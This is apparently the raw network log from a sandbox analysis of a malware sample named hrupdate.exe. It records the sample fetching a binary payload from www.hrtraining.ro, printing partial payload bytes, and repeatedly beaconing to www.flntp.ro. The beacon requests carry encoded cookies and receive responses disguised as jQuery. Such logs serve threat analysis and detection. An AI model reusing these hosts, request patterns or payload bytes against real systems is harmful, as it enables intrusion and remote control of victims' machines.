Dec 19, 2024 22:42:00.275861979 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.276215076 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.276227951 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.277911901 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.277920008 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.970177889 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.970238924 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.970267057 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.970285892 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.970303059 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.970347881 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.970355988 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.970397949 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.970400095 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.970441103 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.970793009 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:00.970817089 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:01.102102995 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:01.102170944 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:01.102267027 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:01.102920055 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:01.102956057 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:02.489372015 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:02.489443064 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:02.489824057 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:02.489835978 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:02.491425991 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:02.491439104 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:03.186562061 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:03.186579943 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:03.186626911 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:03.186635971 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.186681032 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.186681032 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.186928988 CET	49926	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.186956882 CET	443	49926	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:03.305350065 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.305381060 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:03.305459023 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.305672884 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:03.305685043 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:04.712477922 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:04.712549925 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:04.713054895 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:04.713058949 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:04.714768887 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:04.714775085 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.412246943 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.412270069 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.412319899 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.412328005 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.412339926 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.412341118 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.412379026 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.412697077 CET	49932	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.412707090 CET	443	49932	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.528827906 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.528851986 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:05.529028893 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.529407978 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:05.529423952 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.097789049 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.098087072 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.098407030 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.098413944 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.100737095 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.100743055 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.799652100 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.799706936 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.799736023 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.799746037 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.799803972 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.799803972 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.799818039 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.799870014 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.799873114 CET	443	49938	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:07.799957037 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.800029039 CET	49938	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:42:07.800038099 CET	443	49938	3.79.209.76	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 22:40:02.703282118 CET	60729	53	192.168.2.4	1.1.1.1
Dec 19, 2024 22:40:03.265650988 CET	53	60729	1.1.1.1	192.168.2.4
Dec 19, 2024 22:40:07.812637091 CET	65379	53	192.168.2.4	1.1.1.1
Dec 19, 2024 22:40:07.951809883 CET	53	65379	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 22:40:02.703282118 CET	192.168.2.4	1.1.1.1	0xe696	Standard query (0)	www.hrtraining.ro	A (IP address)	IN (0x0001)	false
Dec 19, 2024 22:40:07.812637091 CET	192.168.2.4	1.1.1.1	0x3238	Standard query (0)	www.hrtraining.ro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 22:40:03.265650988 CET	1.1.1.1	192.168.2.4	0xe696	No error (0)	www.hrtraining.ro	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 22:40:03.265650988 CET	1.1.1.1	192.168.2.4	0xe696	No error (0)	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		3.79.209.76	A (IP address)	IN (0x0001)	false
Dec 19, 2024 22:40:07.951809883 CET	1.1.1.1	192.168.2.4	0x3238	No error (0)	www.hrtraining.ro	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 22:40:07.951809883 CET	1.1.1.1	192.168.2.4	0x3238	No error (0)	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		3.79.209.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.flntp.ro

www.hrtraining.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	3.79.209.76	80	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 22:40:03.390789986 CET	57	OUT	GET /trakingu/user HTTP/1.0 Host: www.hrtraining.ro
Dec 19, 2024 22:40:04.711673021 CET	321	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:04 GMT Content-Type: text/html Content-Length: 162 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	3.79.209.76	80	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 22:40:05.320007086 CET	62	OUT	GET /trainingcheck_v5498 HTTP/1.0 Host: www.hrtraining.ro
Dec 19, 2024 22:40:06.615403891 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:06 GMT Content-Type: application/octet-stream Content-Length: 278025 Last-Modified: Mon, 04 Nov 2024 13:31:08 GMT Connection: close ETag: "6728cc9c-43e09" Accept-Ranges: bytes Data Raw: 90 90 90 90 90 90 90 90 90 4d 5a 52 45 e8 00 00 00 00 5b 89 df 55 89 e5 81 c3 e3 ba 00 00 ff d3 68 f0 b5 a2 56 68 04 00 00 00 57 ff d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 af ba e0 52 13 9e cc 0e 84 15 0a 33 f1 4c 79 ae a8 e7 72 2c 30 7b a4 b7 23 50 7f 8f 4d 94 b9 2f 67 54 df 12 db b4 48 7a ec 0f 66 bd 63 0e 7d f4 17 64 c4 e6 57 80 fe 45 10 20 f6 ed 9f c8 be f6 75 c4 f1 dc 8b 05 34 bc 0b ad 20 fc 3b 8c 77 d1 d7 1a 65 87 ae a1 37 ff 4d 63 75 ac 19 42 e3 45 70 fd f5 ca 3e 21 14 91 1c 54 e8 71 d2 3f 98 89 d2 bc f1 74 36 25 a2 3b b8 c4 16 42 0e d2 1d a7 b3 c1 eb f8 7f 27 2e 7f bf 4b e7 8c 15 98 b0 97 f3 82 0f 98 a6 d2 15 37 d3 e0 43 a2 a6 84 b8 60 dd 57 8d 8c ce a0 b6 aa 79 c2 72 6b 07 98 5d 83 4e 4f 00 00 4c 01 04 00 40 44 25 58 00 00 00 00 0b e2 0e 71 e0 00 03 31 0b 01 09 00 00 c4 02 00 00 f8 01 00 00 00 00 00 c0 ed 09 00 00 10 00 00 00 e0 02 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 47 00 00 04 00 00 00 [TRUNCATED] Data Ascii: MZRE[UhVhWR3Lyr,0{#PM/gTHzfc}dWE u4 ;we7McuBEp>!Tq?t6%;B'.K7C`Wyrk]NOL@D%Xq1 G@{Qjd0(%kU `%j!@@%oj4f@%kd"$@B2DV}6]QO")22gb=Vs>)1Uf)TbPg~`f<*AY!Rt%By~3R=NOY;#yXG9#iz:gZ}K5v;B$]D'd#2Lpc.=/Z_%"DR2I9KI}bh{.brn#/\l?J$<-tevr\|d+$#/`/
Dec 19, 2024 22:40:06.615467072 CET	1236	IN	Data Raw: 5c 99 5d 82 0a a3 45 b1 3e 3c 15 7c c8 7f e2 f0 09 a1 3c 6c d6 66 d5 66 fe 81 82 e5 87 89 51 e2 f7 53 2c e8 c6 00 03 18 6d c6 69 2c 14 ac 12 2f ce 0a 58 17 47 87 18 00 00 00 00 5d b5 b7 21 0a e2 0e fa fb 5d e6 01 0f f2 fd d4 54 25 0b 91 7b e6 1e Data Ascii: \]E><\|<lffQS,mi,/XG]!]T%{p/'87H&2qX$(Kqi~{Vk{qJqqDa&ay{u0z'Zk_y80L(k_e{z*q&
Dec 19, 2024 22:40:06.615503073 CET	448	IN	Data Raw: c7 0e 71 52 bb e5 62 61 e2 f1 04 1b 1d 7b 7d f4 97 06 99 76 1d f1 8e 88 26 1e 28 56 21 e6 d0 24 e2 0e 54 f5 1d f1 0e c8 b7 85 9d 88 0e 4a 22 5d b5 66 99 2f e2 0e 99 60 68 0e 71 80 12 c9 75 2f e2 0f 71 0b b4 e6 53 87 e2 0e ce 8b e2 0e 71 5c b4 87 Data Ascii: qRba{}v&(V!$TJ"]f/`hqu/qSq\4dQ]kKqak(:4(.qaWN4dY]kK"q.nXVaRqC(uUhcq2;{uK(qd7
Dec 19, 2024 22:40:06.615750074 CET	1236	IN	Data Raw: 88 0f 1b 0f bb e6 14 c0 e2 0e 21 5d 0a 00 74 0a e2 8d b5 1f 88 0a 28 e3 b1 c5 71 0b b2 58 99 6c 65 0e 71 88 87 ea 71 61 c7 57 99 4b 29 0e 71 82 a7 da fc 4e 06 5e 99 22 e5 0f 71 88 26 02 f4 cb 96 2e fc 4e 22 5e 8e 1e ca ec 73 1b ed b9 34 cb 8b ce Data Ascii: !]t(qXleqqaWK)qN^"q&.N"^s4a,\q[W4vd\|RkKqasig+oK[Y~)qW^(qR(q(%3qBiK8BN65~={0,zQ!&N"gq&I(q
Dec 19, 2024 22:40:06.615801096 CET	1236	IN	Data Raw: e2 83 35 3b a6 5e 99 23 43 0f 71 88 26 02 1b 4b 6f 4b d5 5b 43 e2 c5 0f f2 85 f9 1b fd 0e 71 62 2b f6 71 0b e2 83 f5 0a 26 0e 71 0b b2 e6 70 aa e3 0e d0 e7 56 0a 61 88 26 02 8e 8b f2 11 71 0b 6f 4b 95 63 e2 0c 71 0b b2 e6 55 06 e2 0e 8e 7e ee 83 Data Ascii: 5;^#Cq&KoK[Cqb+q&qpVa&qoKcqU~4~4-Nda[_\|q^N^0qg*^N^Wq!!qaIa4s^N!ja}!qQ/P+P[aeXYNfq+!`q{y
Dec 19, 2024 22:40:06.616265059 CET	1236	IN	Data Raw: e2 0e fa 3e 0e ba 75 1b 61 ca 49 e0 e8 83 3e f4 69 d9 99 40 1c f1 8e 4c d9 b0 61 14 e2 0e 0d e6 69 88 61 14 e2 0e 39 e3 bb f0 8e f4 1d 80 61 14 e2 0e fa 85 f6 11 71 0b 69 88 61 14 e2 0e f4 c2 96 1a 4a c0 9c 0d 38 e0 e5 35 b9 77 eb 83 39 f4 6b 80 Data Ascii: >uaI>i@Laia9aqiaJ85w9keHq9dnqq] oK4q4x^&N^qRP*!#BkFiC9/kF]>B8Gq]'\qgRX!
Dec 19, 2024 22:40:06.616297960 CET	1236	IN	Data Raw: 61 73 61 0c b1 58 26 cc a7 f6 18 0b e2 0e 04 0c 25 4b 89 63 e2 0e 71 63 62 0e 71 0b 6f 8b 15 f4 1d f1 1b 0b b2 e6 40 19 e0 0e f2 cf ee 64 0e f4 97 06 fc b6 86 f1 8e f4 0a d5 0d 0b e2 57 28 8e 22 7b 61 61 e7 f1 04 f3 0a 5f 64 0b e2 57 98 04 e3 0e Data Ascii: asaX&%Kcqcbqo@dW("{aa_dWquizua_jiaBgnoF5~o4g~ Xp~O0M~=;NqIJ*iqasao6q5qvdpoKcq
Dec 19, 2024 22:40:06.616331100 CET	1236	IN	Data Raw: b2 f1 04 03 23 e9 79 00 33 05 86 82 97 02 f8 5e f2 e6 79 0b e2 0e f2 cf ee 51 2f 50 bf cd 24 80 0e 58 fa 7e ea 85 37 07 c9 48 79 5c 69 73 61 30 1a 73 68 8e 1d 7a 64 5c 1d 7b 7d f4 94 0a 99 5f 19 0f 71 0a 9c 0a f2 cf ee 0f 0f 03 bd 50 2c c8 b7 85 Data Ascii: #y3^yQ/P$X~7Hy\isa0shzd\{}_qP,!OwqRuX~?@y0#sh! vq7S^i'}dq=SK$4<gk,iKyV[a}X=fqkKN4
Dec 19, 2024 22:40:06.617117882 CET	1236	IN	Data Raw: e2 2f 96 0b f2 c9 f7 ab e2 0e 71 d2 ef 0f 61 cc 64 aa 71 0b e2 e7 86 0b f2 c9 f7 a3 e2 0e 71 0f 1a 0e 61 cc 64 a2 71 0b e2 94 88 0b f2 c9 f7 bb e2 0e 71 be 1b 0e 61 cc 64 ba 71 0b e2 5c 8a 0b f2 c9 f7 b3 e2 0e 71 4f 1e 0e 61 cc 64 b2 71 0b e2 f8 Data Ascii: /qadqqadqqadq\qOadqqadqqq3adqJsq+adqtqadqvqadq\|qvaU![[h{~riri^y(p %4
Dec 19, 2024 22:40:06.617155075 CET	1236	IN	Data Raw: b3 66 71 0b e6 0e 8e 1e 7e ef 73 1b 41 3a 07 0f f2 8b b1 7f d6 f1 44 3b 94 0a 61 61 e2 5e 8e 1e 5a ef 73 1b 09 10 1b 20 bb e6 4f a5 e2 0e 7e bc 22 5e 19 0b d2 0e 71 5c 88 0e 1b 0b 0a 7c b5 0b e2 8d b5 1f 41 22 07 0f f2 af 5d 7d e6 1e f4 cb 97 1c Data Ascii: fq~sA:D;aa^Zs O~"^q\\|A"]}Pxu%H-qasakH=T'aa+A}q}Gh7GkHu!7Oa}$=Mg?7Gx}%^3qBrkH}1riHi"pE[iH=r
Dec 19, 2024 22:40:06.740560055 CET	1236	IN	Data Raw: d1 c7 21 4a 0a 0d 71 0b e2 57 2c c8 b7 85 9d 80 a4 0a 26 86 de 06 4a 75 ea 71 53 5a 69 00 8e 7e ea 0d b9 5a 0a fc 9d 0a e2 87 0f 0f 61 ca 7d 88 25 f6 26 e3 c7 62 73 0b 69 00 f8 4a e6 51 2c c8 69 4e 75 88 22 0a b2 63 0d b0 71 0b 0a 0e 1d 09 e2 85 Data Ascii: !JqW,&JuqSZi~Za}%&bsiJQ,iNu"cq7![a}XaA]gRgiKeBK&]iv~{yf&Q"poqiCeU^iYoG[oJUH^O!

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:09 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:10 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:09 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:10 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:11 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:12 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:12 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:12 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:14 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:14 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:14 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:16 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:16 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:16 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:16 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 